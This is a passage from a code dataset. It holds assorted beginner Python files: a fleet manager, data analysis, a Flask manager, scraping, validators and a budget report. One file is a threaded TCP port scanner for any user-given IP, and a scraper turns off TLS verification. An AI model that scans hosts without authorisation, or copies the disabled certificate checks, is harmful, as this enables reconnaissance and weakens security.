deleteAllCourse()\n","sub_path":"homework/robotTest/homework4/pylib/courseaction.py","file_name":"courseaction.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"461999610","text":"#!/usr/bin/python3\n\"\"\"\nTakes in a letter and sends a POST request to 8-json_api.py\nwith the letter as a parameter.\n\"\"\"\nif __name__ == \"__main__\":\n import requests\n from sys import argv\n\n if len(argv) == 1:\n dic = {'q': \"\"}\n else:\n dic = {'q': argv[1]}\n\n response = requests.post(url='http://0.0.0.0:5000/search_user', data=dic)\n d = response.json()\n if response.headers.get('content-type') != 'application/json':\n print('Not a valid JSON')\n elif d == {}:\n print('No result')\n else:\n print('[{}] {}'.format(d['id'], d['name']))\n","sub_path":"0x11-python-network_1/8-json_api.py","file_name":"8-json_api.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"571723568","text":"class Vozilo(object):\n\n def __init__(self, znamka, model, st_prevoz_km, zadnji_servis):\n\n self.znamka = znamka\n self.model = model\n self.st_prevoz_km = st_prevoz_km\n self.zadnji_servis = zadnji_servis\n\n def znamka_model(self):\n return self.znamka + \", \" + self.model\n\n\n\ndef seznam_vozil_(vozni_park):\n for index, vozilo in enumerate(vozni_park):\n print(\"ID: \", str(index))\n print(vozilo.znamka_model())\n print(\"Stevilo prevozenih kilometrov: \" + str(vozilo.st_prevoz_km))\n print(\"Datum zadnjega servisa: \" + vozilo.zadnji_servis)\n print(\"\")\n\n if not vozni_park:\n print(\"Nimas nobenega vozila v voznem parku.\")\n print(\"\")\n\ndef uredi_st_prevoz_km(vozni_park):\n print(\"Vnesi ID vozila, ki bi mu rad spremenil stevilo prevozenih kilometrov.\")\n for index, vozilo in enumerate(vozni_park):\n print(str(index) + \") \" + vozilo.znamka_model())\n\n print(\"\")\n if not vozni_park:\n print(\"Nimas nobenega vozila v voznem parku.\")\n print(\"\")\n\n else:\n id_vozila = int(input(\"Vnesite ID vozila:\"))\n vozilo = vozni_park[id_vozila]\n novo_st_km = float(input(\"Vnesite novo stevilo prevozenih kilometrov:\"))\n vozilo.st_prevoz_km = novo_st_km\n print(vozilo.znamka_model() + \" je bilo uspesno spremenjeno stevilo prevozenih kilometrov.\")\n\n\ndef uredi_zadnji_servis(vozni_park):\n print(\"Vnesi ID vozila, ki bi mu rad spremenil datum zadnjega servisa.\")\n for index, vozilo in enumerate(vozni_park):\n print(str(index) + \") \" + vozilo.znamka_model())\n\n print(\"\")\n if not vozni_park:\n print(\"Nimas nobenega vozila v voznem parku.\")\n print(\"\")\n else:\n\n id_vozila = int(input(\"Vnesite ID vozila?:\"))\n vozilo = vozni_park[id_vozila]\n nov_servis = input(\"Vnesite nov zadnji servis(primer zapisa: 04.03.2018):\")\n vozilo.zadnji_servis = nov_servis\n print(vozilo.znamka_model() + \" je bil usepsno spremenjen zadnji servis.\")\n\ndef dodati_novo_vozilo(vozni_park):\n znamka = input(\"Vnesi znamko vozila: \")\n model = input(\"Vnesi model vozila: \")\n st_prevoz_km = float(input(\"Vnesi stevilo prevozenih kilometrov: \"))\n zadnji_servis = input(\"Vnesi zadnji servis vozila(primer zapisa: 04.03.2018):\")\n\n novo_vozilo = Vozilo(znamka = znamka,model = model, st_prevoz_km = st_prevoz_km, zadnji_servis = zadnji_servis )\n vozni_park.append(novo_vozilo)\n\n print(\"\")\n print(novo_vozilo.znamka_model() + \" je bilo usepsno dodano v park vozil.\")\n\ndef izbrisi_vozilo(vozni_park):\n print(\"Vnesi ID vozila, ki bi ga rad izbrisal.\")\n for index, vozilo in enumerate(vozni_park):\n print(str(index) + \") \" + vozilo.znamka_model())\n\n print(\"\")\n\n if not vozni_park:\n print(\"Nimas nobenega vozila v voznem parku.\")\n print(\"\")\n else:\n\n id_vozila = int(input(\"Vnesite ID vozila?:\"))\n vozilo = vozni_park[id_vozila]\n vozni_park.remove(vozilo)\n print(\"Vozilo je bilo odstranjeno uspesno.\")\n\ndef main():\n print(\"Dobrodosli v voznem parku.\")\n\n #Dodajmo vozila v vozni park\n avto1 = Vozilo(znamka = \"Ford\", model = \"Focus\", st_prevoz_km = 60000, zadnji_servis = \"15.01.2018\")\n avto2 = Vozilo(znamka = \"Audi\", model = \"A4\", st_prevoz_km = 33000, zadnji_servis = \"12.12.2017\")\n avto3 = Vozilo(znamka = \"Citroen\", model = \"Berlingo\", st_prevoz_km = 150000, zadnji_servis = \"03.04.2018\")\n\n vozni_park = [avto1, avto2, avto3]\n\n while True:\n print(\"Prosim vnesite eno izmed teh moznosti\")\n print(\"1: Poglej vsa vozila\")\n print(\"2: Dodaj novo vozilo\")\n print(\"3: Uredi stevilo prevozenih km na vozilu\")\n print(\"4: Uredi zadnji servis vozila\")\n print(\"5: Izbrisi vozilo iz voznega parka\")\n print(\"6: Koncaj program\")\n\n izbira = input(\"Izberi moznost(1, 2, 3, 4, 5, 6):\")\n print(\"\")\n\n if izbira == \"1\":\n seznam_vozil_(vozni_park)\n elif izbira == \"2\":\n dodati_novo_vozilo(vozni_park)\n elif izbira == \"3\":\n uredi_st_prevoz_km(vozni_park)\n elif izbira == \"4\":\n uredi_zadnji_servis(vozni_park)\n elif izbira == \"5\":\n izbrisi_vozilo(vozni_park)\n elif izbira == \"6\":\n print(\"Hvala, ker ste uporabljali program za upravljanje sluzbenih vozil.\")\n break\n else:\n print(\"Oprostite ta moznost ne obstaja, poskusite se enkrat.\")\n continue\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n","sub_path":"upravljanje_sluz_vozil.py","file_name":"upravljanje_sluz_vozil.py","file_ext":"py","file_size_in_byte":4545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"510953014","text":"\nimport pandas as pd\nimport numpy as np\nimport os\n\ndef to_drop_1(x):\n titles= [\"board member\", \"advisor\", \"board\", \"investor\", \"chairman\"\\\n , \"board of directors\", \"executive chairman\", \"investor\", \"angel\", \"angel investor\",\n 'board of advisors', \"board of advisory\", \"member board of directors\", \"board observer\",\n \"board director\", \"advisory board\", \"member\", \"board director\", \"investor and advisor\"]\n if 'advistor' in x:\n return True\n if \"advisory\" in x:\n return True\n if \"investor\" in x:\n return True\n if \"observer\" in x:\n return True\n for c in titles:\n if x==c:\n return True\n else:\n return False\n\ndef comps_worked_before(companies, relationships, founders):\n relationships = relationships.rename(columns={\"relationship_object_id\":\"id\"})\n relationships = relationships\n merged = companies.merge(relationships, how=\"left\", on=\"id\")\n merged.founded_at = pd.to_datetime(merged.founded_at)\n merged[\"to_drop\"] = merged.title.astype(str).map(lambda x: to_drop_1(x.lower()))\n merged = merged[merged.to_drop==False]\n merged = merged.sort_values(by=\"founder\", ascending=False).drop_duplicates([\"id\",\"person_object_id\"])\n\n # Number of companies worked before specific one\n tmp = merged.sort_values(by=[\"person_object_id\",\"founded_at\"]).groupby(\"person_object_id\").cumcount()\n tmp = pd.concat([merged, tmp], axis=1).sort_values(by=[\"person_object_id\",\"founded_at\"])\n tmp = tmp.rename(columns={0:\"worked_count\"})\n tmp.loc[tmp.person_object_id.isnull(),'worked_count']=np.nan\n tmp = tmp[tmp.founder==True]\n\n tmp = tmp[['id',\"worked_count\"]].groupby(\"id\",as_index=False).mean()\\\n .rename(columns={\"worked_count\":\"mean_comp_worked_before\"})\n print(tmp.head())\n companies = companies.merge(tmp, how=\"left\", on=\"id\")\n print(companies.head())\n\n return companies\n\n\nif __name__ == \"__main__\":\n companies = pd.read_csv(os.path.join('..',\"raw_data\",\"companies.csv\"))\n relationships = pd.read_csv(os.path.join('..',\"raw_data\",\"relationships.csv\"))\n founders = pd.read_csv(os.path.join('..',\"raw_data\",\"founders.csv\"))\n\n comps_worked_before(companies, relationships, founders)\n\n","sub_path":"invesscience/joanna_14.py","file_name":"joanna_14.py","file_ext":"py","file_size_in_byte":2236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"496710038","text":"_author_ = 'TVJORNAL'\r\nprint(\"Qual é o codigo do produto? \")\r\nproduto1 = input()\r\n\r\nif produto1 == \"12345\":\r\n print(\"Banana Nanica\")\r\n Banana = 4.49\r\n bn = Banana\r\n n1 = Banana\r\n nee = print(\"O preço é {}\".format (Banana))\r\n\r\nprint(\"Qual é a forma de pagamento? \")\r\npagamento = input()\r\nif pagamento == \"d\":\r\n print(\"Efetue o pagamento\")\r\n print(\"Quanto foi dado? \")\r\n p1 = input(10.00)\r\n p1 = var = 10.00\r\n p2 = input(\"?\")\r\n if p2 == \"s\":\r\n n2 = Banana\r\n n3 = p1\r\n troco = p1 - Banana\r\n print(\"O troco é {}\".format(troco))\r\n print(\"Pagamento efetuado com sucesso!\")\r\nif pagamento == \"cc\":\r\n print(\"Efetue o Pagamento\")\r\n print(\"Quanto foi dado? \")\r\n p5 = input(4.49)\r\n p4 = var = 4.49\r\n p6 = input(\"?\")\r\n if p6 == \"s\":\r\n n2 = Banana\r\n n3 = p4\r\n troco2 = p4 - Banana\r\n print(\"O troco é {}\".format(troco2))","sub_path":"caixa.py","file_name":"caixa.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"216933666","text":"# -*- coding: utf-8 -*-\nfrom flask.ext.script import Manager, Server\nfrom app import app\nfrom app.command import command\n\nmanager = Manager(app)\nmanager.add_command(\"runserver\", Server(host=\"127.0.0.1\", port=\"8088\", use_debugger=True))\nmanager.add_command(\"custom\", command.CustomMangerService)\n\n\n@manager.option('-n', '--name', dest='name', default='liuzhi')\n@manager.option('-a', '--age', dest='age', default='liuzhi')\ndef hell(name, age):\n print(name+age)\n\nif __name__ == '__main__':\n manager.run()\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"612412606","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nimport urllib3\nurllib3.disable_warnings()\n\ndef get_soup(url) :\n\t\n\theaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7',\n\t}\t\n\n\tres = requests.get(url, headers=headers,verify=False)\t\n\t\n\tif res.status_code == 200 :\n\t\tsoup = bs(res.text,\"lxml\")\n\t\treturn soup\n\telse :\n\t\tmsg = \"Problem at get_soup\"\n\t\treturn \"request_error : \" + str(res.status_code)\n\n\n'''\nresult = requests.get(\"http://theverge.com\",verify=False)\nif result.status_code == 200:\n\tprint(result.status_code)\n\n\tc = result.content\n\n\tsoup = BeautifulSoup(c)\n\tsamples = soup.find_all(\"cell col span-1-2 alignBot right-col\")\n\tprint(samples)\n\nelse:\n\tprint(result.status_code)\n'''\n\nurl = 'https://projecteuler.net/countries'\nsoup = get_soup(url)\n\nprint(soup)\n'''\njobTitle = soup.find_all('div',attrs={'class' : 'jobTitle strong noMargTop margBotLg'})\n\ntitle_l = []\nfor title in jobTitle:\n\ttitle_l.append(title.text)\n\nlinks = soup.find_all('div',attrs={'class' : 'cell col span-1-2 noPadLt'})\n\nsalary = []\nfor link in links:\n\tif \"Median Base Salary\" in link.text:\n\t\t\n\t\tsalary.append(link.text)\n\nfor t in salary:\n\ttext = t.replace(\"Median Base Salary\",\"\")\n\ttt = text.replace(\",\",\"\")\n\tprint(tt[1:])\n\n\nprint(len(salary))\n'''","sub_path":"ProjectEuler/scraping.py","file_name":"scraping.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"232351398","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# Ed Mountjoy\n#\n\nimport sys\nimport os\nimport argparse\nimport pandas as pd\nfrom pprint import pprint\nfrom collections import OrderedDict\nfrom parquet_writer import write_parquet\n\ndef main():\n\n # Parse args\n args = parse_args()\n\n # Load json, only keep type == gwas\n credset = pd.read_json(args.inf, orient='records', lines=True)\n credset = credset.loc[credset['type'] == 'gwas', :]\n\n # Filter to remove rows not in a 95% credible set\n credset = credset.loc[credset.is95_credset == True, :]\n\n # Rename and select columns\n cols = OrderedDict([\n ('study_id', 'study_id'),\n ('lead_chrom', 'lead_chrom'),\n ('lead_pos', 'lead_pos'),\n ('lead_ref', 'lead_ref'),\n ('lead_alt', 'lead_alt'),\n ('tag_chrom', 'tag_chrom'),\n ('tag_pos', 'tag_pos'),\n ('tag_ref', 'tag_ref'),\n ('tag_alt', 'tag_alt'),\n ('logABF', 'log10_ABF'),\n ('postprob', 'posterior_prob')\n ])\n credset = ( credset.loc[:, list(cols.keys())]\n .rename(columns=cols) )\n\n # Coerce data types\n dtypes = OrderedDict([\n ('study_id', 'str'),\n ('lead_chrom', 'str'),\n ('lead_pos', 'Int64'),\n ('lead_ref', 'str'),\n ('lead_alt', 'str'),\n ('tag_chrom', 'str'),\n ('tag_pos', 'Int64'),\n ('tag_ref', 'str'),\n ('tag_alt', 'str'),\n ('log10_ABF', 'float64'),\n ('posterior_prob', 'float64')\n ])\n assert(set(dtypes.keys()) == set(credset.columns))\n credset = (\n credset.loc[:, dtypes.keys()]\n .astype(dtype=dtypes)\n )\n\n # Sort\n credset = credset.sort_values(\n ['study_id', 'lead_chrom', 'lead_pos', 'lead_ref', 'lead_alt',\n 'tag_chrom', 'tag_pos', 'tag_ref', 'tag_alt']\n )\n\n # Save as parquet\n write_parquet(credset,\n args.outf,\n compression='snappy',\n flavor='spark')\n\ndef parse_args():\n \"\"\" Load command line args \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument('--inf', metavar=\"\", help=('Credible set json'), type=str, required=True)\n parser.add_argument('--outf', metavar=\"\", help=(\"Output\"), type=str, required=True)\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n\n main()\n","sub_path":"scripts/format_finemapping_table.py","file_name":"format_finemapping_table.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"369958747","text":"\"\"\"\r\nA module to use for validating user input \r\nis a float or integer within specified limits\r\n\"\"\"\r\n\r\n# an example python module\r\n# by Erin Coffey\r\n# 15 January 2018\r\n\r\ndef get_float(message, high, low=0):\r\n \"\"\"\r\n Takes a message from the caller and displays it in the console\r\n Takes a max and optional min value\r\n Accepts user input from console\r\n Returns a valid float value\r\n \"\"\"\r\n\r\n while True:\r\n try:\r\n floatValue = float(input(message))\r\n except ValueError:\r\n print (\"ERROR, Entry must be a number. Please try again.\")\r\n continue\r\n if floatValue <= low or floatValue > high:\r\n print (\"ERROR, Entry must be greater than \" + str(low) + \" and, less than or equal to \"\\\r\n + str(high) + \". Please try again.\")\r\n continue\r\n break\r\n return floatValue\r\n# end get_float\r\n\r\ndef get_int(message, high, low=0):\r\n \"\"\"\r\n Takes a message from the caller and displays it in the console\r\n Takes a max and optional min value\r\n Accepts user input from console\r\n Returns a valid integer value\r\n \"\"\"\r\n intValue = 1\r\n while True:\r\n try:\r\n intValue = int(input(message))\r\n except ValueError:\r\n print (\"ERROR, Entry must be a number. Please try again.\")\r\n continue\r\n if intValue <= low or intValue > high:\r\n print (\"ERROR, Entry must be greater than \" + str(low) + \" and, less than or equal to \"\\\r\n + str(high) + \". Please try again.\")\r\n continue\r\n break\r\n return intValue\r\n# end get_int()\r\n\r\n# use main for testing the functions in this module\r\ndef main():\r\n print (\"\\nTesting get_float('enter float:', 100, 0)\\n\\n\")\r\n myFloat = get_float(\"enter float:\\t\", 100, 0)\r\n print(\"The float value returned is \" + str(myFloat))\r\n\r\n print (\"\\nTesting get_int('enter int:', 100, 0)\\n\\n\")\r\n myInt = get_int(\"enter integer:\\t\", 100, 0)\r\n print(\"The integer value returned is \" + str(myInt))\r\n\r\n# if this is the main module, run the tests in main()\r\nif __name__ == \"__main__\":\r\n main()\r\n","sub_path":"modules/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"278194534","text":"import numpy as np\n\nfrom kramersmoyal import km\nfrom kramersmoyal import kernels\n\ndef test_kmc():\n for t in [1,0.1,0.01,0.001]:\n for lag in [None, [1,2,3]]:\n\n X = np.random.normal(loc = 0, scale = np.sqrt(t), size = 10000)\n\n bins = np.array([5000])\n\n powers = np.array([[1], [2]])\n\n bw = 0.15\n\n # The kmc holds the results, where edges holds the binning space\n kmc, edges = km(X, kernel = kernels.epanechnikov, bw = bw,\n bins = bins, powers = powers)\n\n assert isinstance(kmc, np.ndarray)\n assert isinstance(edges[0], np.ndarray)\n\n kmc, edges = km(X, kernel = kernels.epanechnikov, bins = bins,\n powers = powers)\n\n assert isinstance(kmc, np.ndarray)\n assert isinstance(edges[0], np.ndarray)\n","sub_path":"test/kmc_test.py","file_name":"kmc_test.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"39383076","text":"from tkinter import *\r\n\r\n#开窗口\r\nwindow = Tk()\r\nwindow.title(\"Welcome to LikeGeeks app\")\r\nwindow.geometry('200x250')\r\n\r\n#Listbox列表框\r\nlbl = Label(window, text = \"A list of favourite countries...\")\r\nlistbox = Listbox(window)\r\nlistbox.insert(1,\"India\")\r\nlistbox.insert(2,\"USA\")\r\nlistbox.insert(3,\"Japan\")\r\nlistbox.insert(4,\"Austrelia\")\r\nbtn = Button(window, text = \"delete\", command = lambda listbox=listbox: listbox.delete(ANCHOR))\r\n\r\nlbl.pack()\r\nlistbox.pack()\r\nbtn.pack()\r\n\r\n#保持窗口\r\nwindow.mainloop()","sub_path":"Tkinter/t19.py","file_name":"t19.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"181796261","text":"import time\nimport subprocess\nimport random\n\ndef get_free_node(occupied_node):\n '''Возвращает название свободной ноды, на которую возможно отправить задачу'''\n\n# squeue = subprocess.run('ssh shipilov.ab@calc.cod.phystech.edu \"squeue\"',\n# capture_output=True, shell=True, check=True, text=True).stdout\n squeue = subprocess.run([\"ssh\", \"shipilov.ab@calc.cod.phystech.edu\", \"'squeue'\"],\n capture_output=True, check=True, text=True).stdout\n content=list(map(lambda x: x.split(), squeue.strip().split('\\n')))\n possible_nodes=list(map(lambda x: x[8], content))[1:]\n\n #удаляем ноды, которые ещё не выделены и у них в статусе указано \"(Priority)\"\n possible_nodes=list(filter(lambda element: element!='(Priority)', possible_nodes))\n\n number_of_processes = float('inf')\n\n while number_of_processes > 90:\n if set(occupied_node) == set(possible_nodes):\n occupied_node=[]\n# print('sleep & clean')\n time.sleep(30)\n\n node = random.choice(list(set(possible_nodes) - set(occupied_node)))\n# number_of_processes = len(subprocess.run(f'ssh shipilov.ab@calc.cod.phystech.edu \"ssh {node} ps aux | grep shipilov.ab\"'\n# , capture_output=True, shell=True, check=True, text=True).stdout.strip().split('\\n'))\n number_of_processes = len(subprocess.run([\"ssh\", \"shipilov.ab@calc.cod.phystech.edu\", \"ssh\", f\"{node}\", \"ps\", \"aux\", \"|\", \"grep\", \"shipilo\"]\n , capture_output=True, check=True, text=True).stdout.strip().split('\\n'))\n\n occupied_node.append(node)\n print(node, end='')\n return node\n\nget_free_node(occupied_node=[])\n","sub_path":"Submission/remote_free_nodes.py","file_name":"remote_free_nodes.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"231231020","text":"import pyNN.spiNNaker as p\nfrom matplotlib import pylab\n\np.setup(1.0)\n\n# p.set_number_of_neurons_per_core(p.SpikeSourcePoisson, 27)\n# p.set_number_of_neurons_per_core(p.IF_curr_exp, 22)\n\ninp = p.Population(100, p.SpikeSourcePoisson, {\"rate\": 100}, label=\"input\")\npop = p.Population(100, p.IF_curr_exp, {}, label=\"pop\")\n\np.Projection(inp, pop, p.OneToOneConnector(weights=5.0))\n\npop.record()\ninp.record()\n\np.run(100)\n\ninp.set(\"rate\", 10)\n# pop.set(\"cm\", 0.25)\npop.set(\"tau_syn_E\", 1)\n\np.run(100)\n\npop_spikes = pop.getSpikes()\ninp_spikes = inp.getSpikes()\n\npylab.subplot(2, 1, 1)\npylab.plot(inp_spikes[:, 1], inp_spikes[:, 0], \"r.\")\npylab.subplot(2, 1, 2)\npylab.plot(pop_spikes[:, 1], pop_spikes[:, 0], \"b.\")\npylab.show()\n\np.reset()\n\ninp.set(\"rate\", 0)\npop.set(\"i_offset\", 1.0)\npop.initialize(\"v\", p.RandomDistribution(\"uniform\", [-65.0, -55.0]))\n\np.run(100)\n\npop_spikes = pop.getSpikes()\ninp_spikes = inp.getSpikes()\n\npylab.subplot(2, 1, 1)\npylab.plot(inp_spikes[:, 1], inp_spikes[:, 0], \"r.\")\npylab.subplot(2, 1, 2)\npylab.plot(pop_spikes[:, 1], pop_spikes[:, 0], \"b.\")\npylab.show()\n\np.end()\n","sub_path":"integration_tests/change_neuron_parameters_between_runs/change_parameter_test.py","file_name":"change_parameter_test.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"90557819","text":"# Copyright (C) 2017 Catalyst IT Ltd\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom datetime import datetime\nfrom datetime import timedelta\n\nimport mock\n\nfrom distil.erp import utils as erp_utils\nfrom distil.db.sqlalchemy import api as db_api\nfrom distil.service.api.v2 import health\nfrom distil.tests.unit import base\n\n\nclass HealthTest(base.DistilWithDbTestCase):\n def setUp(self):\n super(HealthTest, self).setUp()\n erp_utils._ERP_DRIVER = None\n\n @mock.patch('distil.common.openstack.get_projects')\n def test_get_health_ok(self, mock_get_projects):\n mock_get_projects.return_value = [\n {'id': '111', 'name': 'project_1', 'description': ''},\n {'id': '222', 'name': 'project_2', 'description': ''},\n ]\n\n # Insert projects in the database.\n project_1_collect = datetime.utcnow() - timedelta(hours=1)\n db_api.project_add(\n {\n 'id': '111',\n 'name': 'project_1',\n 'description': '',\n },\n project_1_collect\n )\n project_2_collect = datetime.utcnow() - timedelta(hours=2)\n db_api.project_add(\n {\n 'id': '222',\n 'name': 'project_2',\n 'description': '',\n },\n project_2_collect\n )\n\n ret = health.get_health()\n\n self.assertEqual('OK', ret['usage_collection'].get('status'))\n\n @mock.patch('distil.common.openstack.get_projects')\n def test_get_health_fail(self, mock_get_projects):\n mock_get_projects.return_value = [\n {'id': '111', 'name': 'project_1', 'description': ''},\n {'id': '222', 'name': 'project_2', 'description': ''},\n ]\n\n # Insert projects in the database.\n project_1_collect = datetime.utcnow() - timedelta(days=2)\n db_api.project_add(\n {\n 'id': '111',\n 'name': 'project_1',\n 'description': '',\n },\n project_1_collect\n )\n project_2_collect = datetime.utcnow() - timedelta(hours=25)\n db_api.project_add(\n {\n 'id': '222',\n 'name': 'project_2',\n 'description': '',\n },\n project_2_collect\n )\n\n ret = health.get_health()\n projects = ret['usage_collection'].get('failed_projects')\n\n self.assertIsNotNone(projects)\n self.assertEqual(2, len(projects))\n self.assertEqual('FAIL', ret['usage_collection'].get('status'))\n self.assertIn('2', ret['usage_collection'].get('msg'))\n\n p_names = [p['name'] for p in projects]\n p_ids = [p['id'] for p in projects]\n\n self.assertEqual([\"project_1\", \"project_2\"], p_names)\n self.assertEqual([\"111\", \"222\"], p_ids)\n\n @mock.patch('odoorpc.ODOO')\n @mock.patch('distil.common.openstack.get_projects')\n def test_get_health_with_erp_backend_fail(self, mock_get_projects,\n mock_odoo):\n new = mock.MagicMock()\n new.db.list.side_effect = Exception('Boom!')\n mock_odoo.return_value = new\n # mock_odoo.side_effect = ValueError\n ret = health.get_health()\n\n self.assertEqual('FAIL', ret['erp_backend'].get('status'))\n\n @mock.patch('odoorpc.ODOO')\n @mock.patch('distil.common.openstack.get_projects')\n def test_get_health_with_erp_backend(self, mock_get_projects, mock_odoo):\n ret = health.get_health()\n\n self.assertEqual('OK', ret['erp_backend'].get('status'))\n\n @mock.patch('distil.common.openstack.get_projects')\n def test_get_health_with_ignore_tenants(self, mock_get_projects):\n self.override_config('collector', ignore_tenants=['project_2'])\n mock_get_projects.return_value = [\n {'id': '111', 'name': 'project_1', 'description': ''},\n {'id': '222', 'name': 'project_2', 'description': ''},\n ]\n\n # Insert projects in the database.\n project_1_collect = datetime.utcnow() - timedelta(days=2)\n db_api.project_add(\n {\n 'id': '111',\n 'name': 'project_1',\n 'description': '',\n },\n project_1_collect\n )\n project_2_collect = datetime.utcnow() - timedelta(hours=25)\n db_api.project_add(\n {\n 'id': '222',\n 'name': 'project_2',\n 'description': '',\n },\n project_2_collect\n )\n\n ret = health.get_health()\n\n self.assertEqual('FAIL', ret['usage_collection'].get('status'))\n self.assertIn('1', ret['usage_collection'].get('msg'))\n\n","sub_path":"distil/tests/unit/service/api/v2/test_health.py","file_name":"test_health.py","file_ext":"py","file_size_in_byte":5255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"147445603","text":"# -*- coding:utf-8 -*-\nimport os\nimport sys\nimport logging\nimport logging.handlers\n\nfrom ying.cfg import cfg\n\ndef create_logger(name, filename):\n root = logging.getLogger(name)\n FORMAT = '[%(levelname)-8s] [%(asctime)s] [%(name)s:%(lineno)d] %(message)s'\n DATE_FORMAT = '%Y-%m-%d %H:%M:%S'\n channel = logging.handlers.RotatingFileHandler(\n filename=filename,\n maxBytes=100000000,\n backupCount=10)\n channel.setFormatter(logging.Formatter(fmt=FORMAT, datefmt=DATE_FORMAT))\n root.addHandler(channel)\n\n console = logging.StreamHandler()\n console.setFormatter(logging.Formatter(fmt=FORMAT, datefmt=DATE_FORMAT))\n root.addHandler(console)\n\n root.setLevel(getattr(logging, cfg.log_level.upper(), logging.DEBUG))\n return logging.getLogger(name)\n\nloggers = {}\n\ndef getLogger(name):\n if name not in loggers:\n if not os.path.isdir(cfg.log_dir):\n os.makedirs(cfg.log_dir)\n loggers[name] = create_logger(name, os.path.join(cfg.log_dir, cfg.log_file))\n return loggers[name]\n","sub_path":"ying/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"530684207","text":"import socket\nimport time\nimport threading\nfrom queue import Queue\n\n#Author @inforkgodara\n\nsocket.setdefaulttimeout(0.25)\nlock = threading.Lock()\n\nip_address = input('IP Address: ')\nhost = socket.gethostbyname(ip_address)\nprint ('Scanning on IP Address: ', host)\n\ndef scan(port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n try:\n con = sock.connect((host, port))\n with lock:\n print(port, 'is open')\n con.close()\n except:\n pass\n\ndef execute():\n while True:\n worker = queue.get()\n scan(worker)\n queue.task_done()\n \nqueue = Queue()\nstart_time = time.time()\n \nfor x in range(100):\n thread = threading.Thread(target = execute)\n thread.daemon = True\n thread.start()\n \nfor worker in range(1, 500):\n queue.put(worker)\n \nqueue.join()\n\nprint('Time taken:', time.time() - start_time)","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"347976551","text":"# PyBank Challenge\n# Module for OS\nimport os\n\n# Module for subprocess/terminal output\n# import subprocess\n# with open(\"output.txt\", \"w+\") as output:\n# subprocess.call([\"python\", \"./main.py\"], stdout=output)\n\n# Module for reading CSV file\nimport csv\n\ncsvpath = os.path.join('Resources', 'budget_data.csv')\n\n# Improved Reading using CSV module\n\nwith open(csvpath, newline='') as csvfile:\n \n # CSV reader specifies delimiter and variable that holds contents\n csvreader = csv.reader(csvfile, delimiter=',')\n\n # Get total number of months\n total_months = 0\n total_net_amount = 0\n separated_month = []\n separated_amount = []\n for row in csvreader:\n separated_month.append(row[0])\n separated_amount.append(row[1])\n total_months += 1\n \n # Get total net amount of Profit/Loss\n \n separated_month.pop(0)\n separated_amount.pop(0)\n \n int_separated_amount = [int(x) for x in separated_amount]\n\n total_net_amount = sum(int_separated_amount)\n\n # Get the average change in Profit/Loss\n average_change = 0\n separated_month.pop(0)\n monthly_change_list = [int_separated_amount[i+1] - int_separated_amount[i] for i in range(len(int_separated_amount) -1)]\n average_change = sum(monthly_change_list)/len(monthly_change_list)\n \n # Get the greatest increase in profits (date and amount) over the entire period\n\n s_month, m_change_list = separated_month, monthly_change_list \n \n greatest_increase = max(m_change_list)\n greatest_increase_index = m_change_list.index(max(m_change_list))\n\n \n # Get the greatest decrease in losses (date and amount) over the entire period\n greatest_decrease = min(monthly_change_list)\n greatest_decrease_index = monthly_change_list.index(min(monthly_change_list))\n\n print(\"Financial Analysis\")\n print(\"-----------------------------\")\n print(\"Total Months: \" + str(total_months-1))\n print(\"Total: $\"+ str(total_net_amount))\n print(\"Average Change: $\" + str(round(average_change, 2)))\n print(\"Greatest Increase in Profits: \" + s_month[greatest_increase_index] + \" ($\" + str(greatest_increase) + \")\")\n 